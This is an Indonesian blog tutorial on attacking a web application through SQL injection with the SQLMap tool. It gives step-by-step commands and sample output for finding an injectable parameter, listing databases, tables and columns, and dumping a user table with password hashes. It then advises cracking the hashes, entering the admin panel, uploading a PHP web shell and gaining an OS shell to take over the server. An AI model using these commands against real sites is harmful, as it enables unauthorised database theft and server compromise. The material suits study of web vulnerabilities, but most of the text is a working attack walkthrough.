Tutorial SQL Injection Menggunakan SQLMap

Memperkenalkan tutorial SQL Injection dan teknik melakukan hacking atau menemukan kerentanan keamanan website menggunakan SQLMap.


Kali ini kita akan membahas tutorial hacing dengan teknik SQL Injection menggunakan tool SQLMap untuk melakukan hacking atau serangan pada website berbasis data dengan tujuan untuk menemukan kerentanan keamanan pada website tersebut.

SQL Injection adalah teknik injeksi code yang digunakan untuk melakukan serangan pada aplikasi web berbasis data di mana pernyataan malicious SQL dimasukkan ke dalam entri untuk di eksekusi (misalnya untuk menampilkan konten database ke penyerang). SQL injection dapat mengeksploitasi kerentanan keamanan pada perangkat lunak aplikasi, misalnya saat user salah melakukan filter inputan untuk pengiriman karakter yang disematkan dalam pernyataan SQL atau inputan user tidak diketik dengan benar dan tanpa diduga dieksekusi. SQL Injection lebih dikenal sebagai vektor serangan untuk sebuah situs web namun juga dapat digunakan untuk menyerang semua jenis database SQL.

Apa itu SQLMap

SQLMap adalah salah satu tool otomatis untuk melakukan SQL Injection yang paling populer dan hebat. Dengan url http request yang rentan, sqlmap dapat mengeksploitasi remote database dan melakukan hacking seperti mengekstrak nama database, tabel, kolom, semua data dalam tabel, dll. Bahkan dapat membaca dan menulis file pada remote sistem file pada kondisi tertentu. Ditulis dalam bahasa python dan merupakan salah satu alat hacking yang paling hebat. SQLMap adalah SQL Injection metasploit.



SQLMap disertakan dalam beberapa distro linux pen testing seperti kali linux, backtrack, backbox dll. Pada distro lain bisa diunduh dari url berikut.

http://sqlmap.org

Karena ditulis dalam bahasa python, maka anda harus menginstal python di sistem anda terlebih dahulu. Di ubuntu install python dari synaptic. Pada windows install activestate python. Silahkan cek posting dengan judul Installasi dan menjalankan SQLMap di Windows untuk rincian tentang cara menginstal dan menjalankan sqlmap di windows.

Fitur-Fitur SQLMap

  • Dukungan penuh untuk sistem manajemen basis data MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase dan SAP MaxDB.
  • Dukungan penuh untuk enam teknik SQL Injection: boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band.
  • Dukungan untuk langsung terhubung ke database tanpa melalui SQL Injection, dengan menyediakan kredensial DBMS, alamat IP, port dan nama database.
  • Dukungan untuk menghitung pengguna, hash kata sandi, privileges, roles, database, tabel dan kolom.
  • Pengenalan otomatis format hash password dan dukungan untuk cracking menggunakan serangan berbasis kamus.
  • Dukungan untuk membuang tabel database seluruhnya, kisaran entri atau kolom spesifik sesuai pilihan pengguna. Pengguna juga dapat memilih untuk membuang hanya sejumlah karakter dari entri masing-masing kolom.
  • Dukungan untuk mencari nama database tertentu, tabel spesifik di semua database atau kolom spesifik di semua tabel database. Ini berguna, misalnya, untuk mengidentifikasi tabel yang berisi kredensial aplikasi kustom di mana nama kolom yang relevan mengandung string seperti nama dan password.
  • Dukungan untuk mendownload dan mengunggah file apapun dari database server yang mendasari sistem file pada perangkat lunak database MySQL, PostgreSQL atau Microsoft SQL Server.
  • Dukungan untuk mengeksekusi perintah acak dan mengambil output standar mereka pada database server yang mendasari sistem operasi saat perangkat lunak database adalah MySQL, PostgreSQL atau Microsoft SQL Server.
  • Dukungan untuk membangun koneksi TCP stateful out-of-band antara mesin penyerang dan server basis data yang mendasari sistem operasi. Saluran ini bisa menjadi prompt perintah interaktif, sesi Meterpreter atau sesi antarmuka pengguna grafis (VNC) sesuai pilihan pengguna.
  • Dukungan untuk proses database 'esensi hak istimewa pengguna melalui perintah Metasploit's Meterpreter getsystem.

Untuk daftar pilihan dan parameter yang bisa digunakan dengan perintah sqlmap, silahkan periksa dokumentasi sqlmap di

https://github.com/sqlmapproject/sqlmap/wiki/Usage

Pada tutorial ini kita akan belajar bagaimana menggunakan sqlmap untuk exploit aplikasi web yang rentan dan melihat apa yang bisa dilakukan dengan SQLMap.

Untuk memahami tutorial SQL Injection ini Anda harus memiliki pengetahuan menyeluruh tentang bagaimana aplikasi web berbasis database bekerja. Misalnya aplikasi web yang dibuat dengan PHP + MySQL.

Vulnerable Url

Misalkan ada sebuah aplikasi website memiliki URL sebagai berikut:

http://www.website.com/index.php?id=51

URLini rentan terhadap serangan SQL Injection karena pengembang situs tersebut tidak benar-benar mengamankan parameter id. Hal ini bisa saja diuji coba dengan mencoba membuka url tersebut

http://www.website.com/index.php?id=51'

Kita hanya menambahkan satu kutipan pada parameter id. Jika url ini melempar kesalahan atau bereaksi dengan cara yang tidak normal maka jelas bahwa database telah mendapat kutipan tunggal yang tak terduga sehingga aplikasinya tidak mampu mengamankannya dengan benar. Jadi dalam hal ini parameter input "id" ini rentan terhadap sql injection.

Hacking menggunakan SQLMap

Sekarang waktunya untuk menggunakan sqlmap untuk melakukan hacking atau sql injection pada url tersebut. Perintah sqlmap dijalankan dari terminal dengan penerjemah python.

python sqlmap.py -u "http://www.site.com/section.php?id=51"

Perintah di atas adalah yang pertama dan paling sederhana untuk dijalankan dengan tool SQLMap. Perintah tersebut memeriksa parameter masukan untuk mengetahui apakah mereka rentan terhadap sql injection atau tidak. Dalam hal ini sqlmap mengirimkan berbagai jenis muatan sql injection ke parameter masukan dan memeriksa hasilnya. Dalam proses ini sqlmap juga mampu mengidentifikasi sistem remote os, nama database dan versinya. Berikut adalah tampilan yang mungkin terlihat.

[*] starting at 12:10:33

[12:10:33] [INFO] resuming back-end DBMS 'mysql' 
[12:10:34] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:10:37] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
SQLMap telah menemukan sistem operasi, server web dan database beserta informasi versi. Bahkan ini pun cukup mengesankan. Tapi waktunya untuk eksplorasi dan melihat apa lagi yang mampu dilakukan oleh alat ini.

Temukan Database

Setelah sqlmap mengkonfirmasikan bahwa remote url rentan terhadap sql injection dan dapat dieksploitasi, langkah selanjutnya adalah mengetahui nama-nama basis data yang ada pada sistem remote tersebut. Pilihan "--dbs" digunakan untuk mendapatkan daftar database.

$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs
Hasilnya akan terlihat seperti berikut:

[*] starting at 12:12:56

[12:12:56] [INFO] resuming back-end DBMS 'mysql' 
[12:12:57] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:13:00] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:13:00] [INFO] fetching database names
[12:13:00] [INFO] the SQL query used returns 2 entries
[12:13:00] [INFO] resumed: information_schema
[12:13:00] [INFO] resumed: sistemkeuangan
available databases [2]:
[*] information_schema
[*] sistemkeuangan
Outputnya menunjukkan database yang ada pada sistem remote.

Temukan tabel di database tertentu

Sekarang waktunya untuk mencari tahu tabel apa yang ada di database tertentu. Katakanlah database yang diminati di sini adalah 'sistemkeuangan'

Perintahnya

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D sistemkeuangan
Dan hasilnya bisa serupa dengan ini

[11:55:18] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[11:55:18] [INFO] fetching tables for database: 'sistemkeuangan'
[11:55:19] [INFO] heuristics detected web page charset 'ascii'
[11:55:19] [INFO] the SQL query used returns 216 entries
[11:55:20] [INFO] retrieved: acl_acl
[11:55:21] [INFO] retrieved: acl_acl_sections                                                                                
........... more tables
Selanjutnya mari kita dapatkan kolom tabelnya.

Dapatkan kolom sebuah table

Sekarang kita memiliki daftar tabel databasenya, selanjutnya kita akan mencari kolom dari beberapa tabelnya. Katakanlah tabelnya adalah 'user' dan berisi username dan password.

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D sistemkeuangan -T user
Outputnya akan terlihat seperti dibawah ini

[12:17:39] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:17:39] [INFO] fetching columns for table 'user' in database 'sistemkeuangan'
[12:17:41] [INFO] heuristics detected web page charset 'ascii'
[12:17:41] [INFO] the SQL query used returns 8 entries
[12:17:42] [INFO] retrieved: id
[12:17:43] [INFO] retrieved: int(11)                                                                                         
[12:17:45] [INFO] retrieved: name                                                                                            
[12:17:46] [INFO] retrieved: text                                                                                            
[12:17:47] [INFO] retrieved: password                                                                                        
[12:17:48] [INFO] retrieved: text                                                                                            

.......

[12:17:59] [INFO] retrieved: hash
[12:18:01] [INFO] retrieved: varchar(128)
Database: sistemkeuangan
Table: user
[8 columns]
+-------------------+--------------+
| Column            | Type         |
+-------------------+--------------+
| email             | text         |
| hash              | varchar(128) |
| id                | int(11)      |
| name              | text         |
| password          | text         |
| permission        | tinyint(4)   |
| system_allow_only | text         |
| system_home       | text         |
+-------------------+--------------+

Jadi sekarang kolomnya terlihat jelas. Kerja bagus!

Dapatkan data dari tabel

Sekarang adalah bagian yang paling menarik, yaitu mengekstrak/mengambil data dari tabel. Perintahnya adalah
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D sistemkeuangan -T user
Perintah di atas akan mengeluarkan data dari tabel tertentu, sangat mirip dengan perintah mysqldump.
Outputnya mungkin terlihat seperti ini

+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| id | hash               | name      | email     | password | permission | system_home | system_allow_only |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| 1  | 5DIpzzDHFOwnCvPonu | admin     | <blank>   | <blank>  | 3          | <blank>     | <blank>           |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
Kolom hash tampaknya memiliki hash password. Coba cracking hash dan kemudian Anda akan mendapatkan rincian data login. Sqlmap akan membuat file csv yang berisi data dump untuk memudahkan analisis.

Sejauh ini kita sudah bisa mengumpulkan banyak informasi dari remote database menggunakan SQLMap. Penggunaannya hampir seperti memiliki akses langsung ke remote database melalui klien seperti phpmyadmin. Dalam skenario nyata, hacker akan mencoba mendapatkan tingkat akses yang lebih tinggi ke sistem. Untuk ini, mereka akan mencoba memecahkan hash password dan mencoba masuk melalui panel admin. Atau mereka akan mencoba untuk mendapatkan shell os menggunakan sqlmap.

Saya menulis posting lain tentang penggunaan sqlmap untuk mendapatkan rincian lebih lanjut tentang remote database. Posting tersebut menjelaskan pilihan lain dari sqlmap yang berguna untuk menemukan pengguna database, hak istimewa dan hash kata kunci mereka.

Bagaimana selanjutnya ?

Jalankan query sql yang bervariasi

Ini mungkin hal termudah untuk dilakukan pada server yang rentan terhadap sql injection. Parameter --sql-query dapat digunakan untuk menentukan query sql yang akan dijalankan. Hal yang menarik adalah membuat pengguna di tabel pengguna atau yang serupa. Atau mungkin mengubah / memodifikasi isi halaman cms dll.

Parameter lain - shell-shell akan memberikan shell sql seperti antarmuka untuk menjalankan query secara interaktif.

Masuk ke panel admin dan mainkan

Jika situs web menjalankan beberapa jenis cms kustom atau yang serupa yang memiliki panel admin, maka akan memungkinan anda untuk masuk ke dalam asalkan Anda dapat memecahkan kata sandi yang diambil di database dump. Kata kunci yang sederhana dan pendek dapat dipecahkan hanya dengan brute forcing atau google.com.

Periksa apakah panel admin mengizinkan untuk mengupload beberapa file. Jika file php tertentu dapat diunggah maka akan jauh lebih menyenangkan. File php dapat berisi aplikasi pemanggilan shell_exec, system, exec atau passthru dan itu akan memungkinkan untuk mengeksekusi perintah sistem sekehendak anda. Skrip shell web PHP bisa diunggah untuk melakukan hal yang sama.

Shell di remote OS

Ini adalah hal yang harus dilakukan untuk mengambil alih server. Namun perhatikan bahwa itu tidak semudah dan sepele seperti trik yang ditunjukkan di atas. Sqlmap dilengkapi dengan parameter call --os-shell yang bisa digunakan untuk mencoba shell pada sistem remote, namun memiliki banyak keterbatasan tersendiri.

Menurut manual sqlmap

It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.

Memungkinkan untuk menjalankan perintah tertentu pada sistem operasi database server yang mendasar ketika sistem manajemen basis data back-end baik MySQL, PostgreSQL atau Microsoft SQL Server, dan session user  memiliki privilege yang diperlukan untuk menyalahgunakan fungsionalitas spesifik database dan kelemahan arsitektur.

Privilege yang paling penting yang dibutuhkan oleh pengguna database saat ini adalah menulis file melalui fungsi database. Ini tidak ada dalam kebanyakan kasus. Oleh karena itu teknik ini tidak akan bekerja dalam banyak kasus.

Catatan

1. Terkadang sqlmap tidak dapat terhubung ke url sama sekali. Ini terlihat saat stuck pada tugas pertama "testing connection to the target url". Dalam kasus tersebut, sangat membantu untuk menggunakan opsi "-random-agent". Hal ini membuat sqlmap menggunakan signature user agent yang valid seperti yang dikirim oleh browser seperti chrome atau firefox.

2. Untuk url yang tidak dalam bentuk param = nilai , sqlmap tidak bisa secara otomatis tahu dimana harus diinjeksi. Misalnya url mvc seperti http://www.site.com/class_name/method/43/80.

Dalam kasus tersebut sqlmap perlu diberi tahu titik injeksi yang ditandai oleh *
http://www.site.com/class_name/method/43*/80
Perintah di atas akan memberitahu sqlmap untuk melakukan injection pada titik yang ditandai oleh *

3. Bila menggunakan form yang mengirimkan data melalui metode post maka sqlmap harus disediakan data post pada opsi "--data". Untuk informasi lebih lanjut, lihat tutorial ini tentang Penggunaan SQLMap pada form.

COMMENTS

BLOGGER: 2
Loading...
Name

Apache,4,Bisnis Online,1,Blog,10,Blogger,6,Cpanel,1,CSS,1,Database,1,Framework,1,Hacking,3,HTML,1,HTML and CSS,2,Info,2,Javascript,2,Javascript and AJAX,5,Keamanan Web,1,linux,2,MySQL,3,Networking,1,Open GL,1,Optimasi Website,7,Pemrograman java,1,Pemrograman web,5,PHP,7,phpMyAdmin,1,SEO,4,SQL Injection,3,SQL Server,12,SQLMap,3,Website,1,Wordpress,4,Xampp,1,
ltr
item
Nanang Gunawan Blog: Tutorial SQL Injection Menggunakan SQLMap
Tutorial SQL Injection Menggunakan SQLMap
Memperkenalkan tutorial SQL Injection dan teknik melakukan hacking atau menemukan kerentanan keamanan website menggunakan SQLMap.
https://2.bp.blogspot.com/-DT4kgbHVa9M/WTdP1CyM6HI/AAAAAAAAA4w/nHLbdk63qfktA56xmsz-O7-UMZKLE_JaQCLcB/s1600/Tutorial%2BSQL%2BInjection.jpg
https://2.bp.blogspot.com/-DT4kgbHVa9M/WTdP1CyM6HI/AAAAAAAAA4w/nHLbdk63qfktA56xmsz-O7-UMZKLE_JaQCLcB/s72-c/Tutorial%2BSQL%2BInjection.jpg
Nanang Gunawan Blog
http://www.nananggunawan.com/2017/06/tutorial-sql-injection.html
http://www.nananggunawan.com/
http://www.nananggunawan.com/
http://www.nananggunawan.com/2017/06/tutorial-sql-injection.html
true
4195327445586723627
UTF-8
Loaded All Posts Not found any posts VIEW ALL Readmore Reply Cancel reply Delete By Home PAGES POSTS View All RECOMMENDED FOR YOU LABEL ARCHIVE SEARCH ALL POSTS Not found any post match with your request Back Home Sunday Monday Tuesday Wednesday Thursday Friday Saturday Sun Mon Tue Wed Thu Fri Sat January February March April May June July August September October November December Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec just now 1 minute ago $$1$$ minutes ago 1 hour ago $$1$$ hours ago Yesterday $$1$$ days ago $$1$$ weeks ago more than 5 weeks ago Followers Follow THIS CONTENT IS PREMIUM Please share to unlock Copy All Code Select All Code All codes were copied to your clipboard Can not copy the codes / texts, please press [CTRL]+[C] (or CMD+C with Mac) to copy